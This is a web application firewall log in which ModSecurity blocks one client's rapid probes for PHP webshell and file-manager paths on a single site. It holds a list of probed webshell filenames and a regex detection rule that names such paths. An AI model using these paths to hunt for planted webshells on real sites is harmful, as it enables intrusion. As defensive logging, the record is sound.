[Sun Mar 01 10:04:32.451936 2026] [:error] [pid 33539:tid 33566] [client 20.104.206.150:30714] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache-compat.php"] [unique_id "aaOesNCsLwBYg4s018urtQAAAdQ"]
[Sun Mar 01 10:04:32.990175 2026] [:error] [pid 33229:tid 33233] [client 20.104.206.150:30688] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache-compat.php"] [unique_id "aaOesHzT4c9ddlGE6FxGBwAAAYI"]
[Sun Mar 01 10:04:33.436222 2026] [:error] [pid 33229:tid 33236] [client 20.104.206.150:30593] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache-compat.php"] [unique_id "aaOesXzT4c9ddlGE6FxGCQAAAYU"]
[Sun Mar 01 10:04:33.908791 2026] [:error] [pid 33539:tid 33560] [client 20.104.206.150:30675] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache-compat.php"] [unique_id "aaOesdCsLwBYg4s018uruAAAAc8"]
[Sun Mar 01 10:04:34.418228 2026] [:error] [pid 33539:tid 33560] [client 20.104.206.150:30624] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aaOestCsLwBYg4s018urugAAAc8"]
[Sun Mar 01 10:04:34.953359 2026] [:error] [pid 33229:tid 33236] [client 20.104.206.150:30704] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aaOesnzT4c9ddlGE6FxGDwAAAYU"]
[Sun Mar 01 10:04:35.501770 2026] [:error] [pid 33539:tid 33566] [client 20.104.206.150:30716] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aaOes9CsLwBYg4s018urvgAAAdQ"]
[Sun Mar 01 10:04:35.965125 2026] [:error] [pid 21263:tid 21291] [client 20.104.206.150:30718] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aaOes9AxjzLvN1upBhkJ_AAAANg"]
[Sun Mar 01 10:04:36.398220 2026] [:error] [pid 33229:tid 33248] [client 20.104.206.150:30622] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berlin.php"] [unique_id "aaOetHzT4c9ddlGE6FxGFAAAAZE"]
[Sun Mar 01 10:04:36.830362 2026] [:error] [pid 33229:tid 33236] [client 20.104.206.150:30608] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berlin.php"] [unique_id "aaOetHzT4c9ddlGE6FxGFgAAAYU"]
[Sun Mar 01 10:04:37.380675 2026] [:error] [pid 33767:tid 33775] [client 20.104.206.150:30672] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berlin.php"] [unique_id "aaOetUGyeKe3MWsxvBj-_gAAAgU"]
[Sun Mar 01 10:04:37.866289 2026] [:error] [pid 33767:tid 33774] [client 20.104.206.150:30677] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berlin.php"] [unique_id "aaOetUGyeKe3MWsxvBj-_wAAAgQ"]
[Sun Mar 01 10:04:38.453702 2026] [:error] [pid 33539:tid 33561] [client 20.104.206.150:30539] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abe.php"] [unique_id "aaOettCsLwBYg4s018urxAAAAdA"]
[Sun Mar 01 10:04:39.053698 2026] [:error] [pid 33539:tid 33566] [client 20.104.206.150:30597] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abe.php"] [unique_id "aaOet9CsLwBYg4s018urxgAAAdQ"]
[Sun Mar 01 10:04:39.569223 2026] [:error] [pid 33229:tid 33248] [client 20.104.206.150:30613] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abe.php"] [unique_id "aaOet3zT4c9ddlGE6FxGIgAAAZE"]
[Sun Mar 01 10:04:40.065181 2026] [:error] [pid 33539:tid 33560] [client 20.104.206.150:30662] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abe.php"] [unique_id "aaOeuNCsLwBYg4s018urywAAAc8"]
[Sun Mar 01 10:04:40.626737 2026] [:error] [pid 33539:tid 33560] [client 20.104.206.150:30555] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/otuz1.php"] [unique_id "aaOeuNCsLwBYg4s018urzwAAAc8"]
[Sun Mar 01 10:04:41.214274 2026] [:error] [pid 33767:tid 33774] [client 20.104.206.150:30719] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/otuz1.php"] [unique_id "aaOeuUGyeKe3MWsxvBj_AwAAAgQ"]
[Sun Mar 01 10:04:41.709627 2026] [:error] [pid 33767:tid 33774] [client 20.104.206.150:30646] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/otuz1.php"] [unique_id "aaOeuUGyeKe3MWsxvBj_CAAAAgQ"]
[Sun Mar 01 10:04:42.209823 2026] [:error] [pid 33229:tid 33248] [client 20.104.206.150:30596] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/otuz1.php"] [unique_id "aaOeunzT4c9ddlGE6FxGKQAAAZE"]
[Sun Mar 01 10:04:42.803593 2026] [:error] [pid 33229:tid 33233] [client 20.104.206.150:30632] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-files.php"] [unique_id "aaOeunzT4c9ddlGE6FxGLAAAAYI"]
[Sun Mar 01 10:04:43.550163 2026] [:error] [pid 33229:tid 33233] [client 20.104.206.150:30656] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-files.php"] [unique_id "aaOeu3zT4c9ddlGE6FxGLgAAAYI"]
[Sun Mar 01 10:04:44.181006 2026] [:error] [pid 33229:tid 33233] [client 20.104.206.150:30544] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-files.php"] [unique_id "aaOevHzT4c9ddlGE6FxGLwAAAYI"]
[Sun Mar 01 10:04:44.993797 2026] [:error] [pid 33767:tid 33781] [client 20.104.206.150:30599] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-files.php"] [unique_id "aaOevEGyeKe3MWsxvBj_DwAAAgs"]
[Sun Mar 01 10:04:45.706039 2026] [:error] [pid 33539:tid 33552] [client 20.104.206.150:30697] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj.php"] [unique_id "aaOevdCsLwBYg4s018ur1QAAAcc"]
[Sun Mar 01 10:04:46.541733 2026] [:error] [pid 33229:tid 33235] [client 20.104.206.150:30549] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj.php"] [unique_id "aaOevnzT4c9ddlGE6FxGMwAAAYQ"]
[Sun Mar 01 10:04:47.178615 2026] [:error] [pid 33767:tid 33781] [client 20.104.206.150:30594] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj.php"] [unique_id "aaOev0GyeKe3MWsxvBj_GgAAAgs"]
[Sun Mar 01 10:04:47.764533 2026] [:error] [pid 33767:tid 33774] [client 20.104.206.150:30674] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj.php"] [unique_id "aaOev0GyeKe3MWsxvBj_HwAAAgQ"]
[Sun Mar 01 10:04:48.414727 2026] [:error] [pid 33229:tid 33235] [client 20.104.206.150:30466] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/he.php"] [unique_id "aaOewHzT4c9ddlGE6FxGOQAAAYQ"]
[Sun Mar 01 10:04:48.939101 2026] [:error] [pid 33767:tid 33781] [client 20.104.206.150:30601] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/he.php"] [unique_id "aaOewEGyeKe3MWsxvBj_IQAAAgs"]
[Sun Mar 01 10:04:49.521047 2026] [:error] [pid 21263:tid 21270] [client 20.104.206.150:30682] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/he.php"] [unique_id "aaOewdAxjzLvN1upBhkKBgAAAMM"]
[Sun Mar 01 10:04:50.109743 2026] [:error] [pid 33229:tid 33248] [client 20.104.206.150:30640] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/he.php"] [unique_id "aaOewnzT4c9ddlGE6FxGPQAAAZE"]
[Sun Mar 01 10:04:50.648734 2026] [:error] [pid 21263:tid 21291] [client 20.104.206.150:30473] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache.php"] [unique_id "aaOewtAxjzLvN1upBhkKBwAAANg"]
[Sun Mar 01 10:04:51.170999 2026] [:error] [pid 33767:tid 33781] [client 20.104.206.150:30679] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache.php"] [unique_id "aaOew0GyeKe3MWsxvBj_JgAAAgs"]
[Sun Mar 01 10:04:51.633772 2026] [:error] [pid 33539:tid 33560] [client 20.104.206.150:30603] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache.php"] [unique_id "aaOew9CsLwBYg4s018ur4QAAAc8"]
[Sun Mar 01 10:04:52.182669 2026] [:error] [pid 33539:tid 33566] [client 20.104.206.150:30717] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache.php"] [unique_id "aaOexNCsLwBYg4s018ur5QAAAdQ"]
[Sun Mar 01 10:04:52.749458 2026] [:error] [pid 33767:tid 33781] [client 20.104.206.150:30702] [client 20.104.206.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aaOexEGyeKe3MWsxvBj_KwAAAgs"]
[Sun Mar 01 10:04:53.280074 2026] [:error] [pid 21263:tid 21277] [client 20.104.206.150:30542] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "aaOexdAxjzLvN1upBhkKDgAAAMo"]
[Sun Mar 01 10:04:53.865906 2026] [:error] [pid 33539:tid 33557] [client 20.104.206.150:30569] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "aaOexdCsLwBYg4s018ur6wAAAcw"]
[Sun Mar 01 10:04:54.393477 2026] [:error] [pid 33229:tid 33233] [client 20.104.206.150:30628] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "aaOexnzT4c9ddlGE6FxGRwAAAYI"]
[Sun Mar 01 10:04:54.943621 2026] [:error] [pid 33539:tid 33552] [client 20.104.206.150:30690] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "aaOextCsLwBYg4s018ur7gAAAcc"]
[Sun Mar 01 10:04:55.400738 2026] [:error] [pid 33767:tid 33781] [client 20.104.206.150:30630] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blog.php"] [unique_id "aaOex0GyeKe3MWsxvBj_MgAAAgs"]
[Sun Mar 01 10:04:55.878071 2026] [:error] [pid 33539:tid 33561] [client 20.104.206.150:30595] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blog.php"] [unique_id "aaOex9CsLwBYg4s018ur8QAAAdA"]
[Sun Mar 01 10:04:56.364517 2026] [:error] [pid 33539:tid 33561] [client 20.104.206.150:30559] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blog.php"] [unique_id "aaOeyNCsLwBYg4s018ur9AAAAdA"]
[Sun Mar 01 10:04:56.827212 2026] [:error] [pid 33229:tid 33248] [client 20.104.206.150:30600] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blog.php"] [unique_id "aaOeyHzT4c9ddlGE6FxGSwAAAZE"]
[Sun Mar 01 10:04:57.346753 2026] [:error] [pid 33767:tid 33774] [client 20.104.206.150:30535] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php7"] [unique_id "aaOeyUGyeKe3MWsxvBj_NgAAAgQ"]
[Sun Mar 01 10:04:57.830614 2026] [:error] [pid 33539:tid 33552] [client 20.104.206.150:30694] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php7"] [unique_id "aaOeydCsLwBYg4s018ur-gAAAcc"]
[Sun Mar 01 10:04:58.284236 2026] [:error] [pid 33539:tid 33566] [client 20.104.206.150:30602] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php7"] [unique_id "aaOeytCsLwBYg4s018ur-wAAAdQ"]
[Sun Mar 01 10:04:58.818626 2026] [:error] [pid 33539:tid 33566] [client 20.104.206.150:30637] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php7"] [unique_id "aaOeytCsLwBYg4s018usAAAAAdQ"]
[Sun Mar 01 10:04:59.409763 2026] [:error] [pid 33229:tid 33233] [client 20.104.206.150:30645] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aaOey3zT4c9ddlGE6FxGUAAAAYI"]
[Sun Mar 01 10:04:59.922201 2026] [:error] [pid 33539:tid 33552] [client 20.104.206.150:30560] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aaOey9CsLwBYg4s018usCAAAAcc"]
[Sun Mar 01 10:05:00.673987 2026] [:error] [pid 33539:tid 33565] [client 20.104.206.150:30550] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aaOezNCsLwBYg4s018usCwAAAdM"]
[Sun Mar 01 10:05:01.163566 2026] [:error] [pid 33539:tid 33565] [client 20.104.206.150:30662] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aaOezdCsLwBYg4s018usDQAAAdM"]
[Sun Mar 01 10:05:01.697382 2026] [:error] [pid 33539:tid 33566] [client 20.104.206.150:30650] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ajax-actions.php"] [unique_id "aaOezdCsLwBYg4s018usEAAAAdQ"]
[Sun Mar 01 10:05:02.188996 2026] [:error] [pid 33767:tid 33774] [client 20.104.206.150:30536] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ajax-actions.php"] [unique_id "aaOezkGyeKe3MWsxvBj_PQAAAgQ"]
[Sun Mar 01 10:05:02.641182 2026] [:error] [pid 33539:tid 33566] [client 20.104.206.150:30565] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ajax-actions.php"] [unique_id "aaOeztCsLwBYg4s018usEwAAAdQ"]
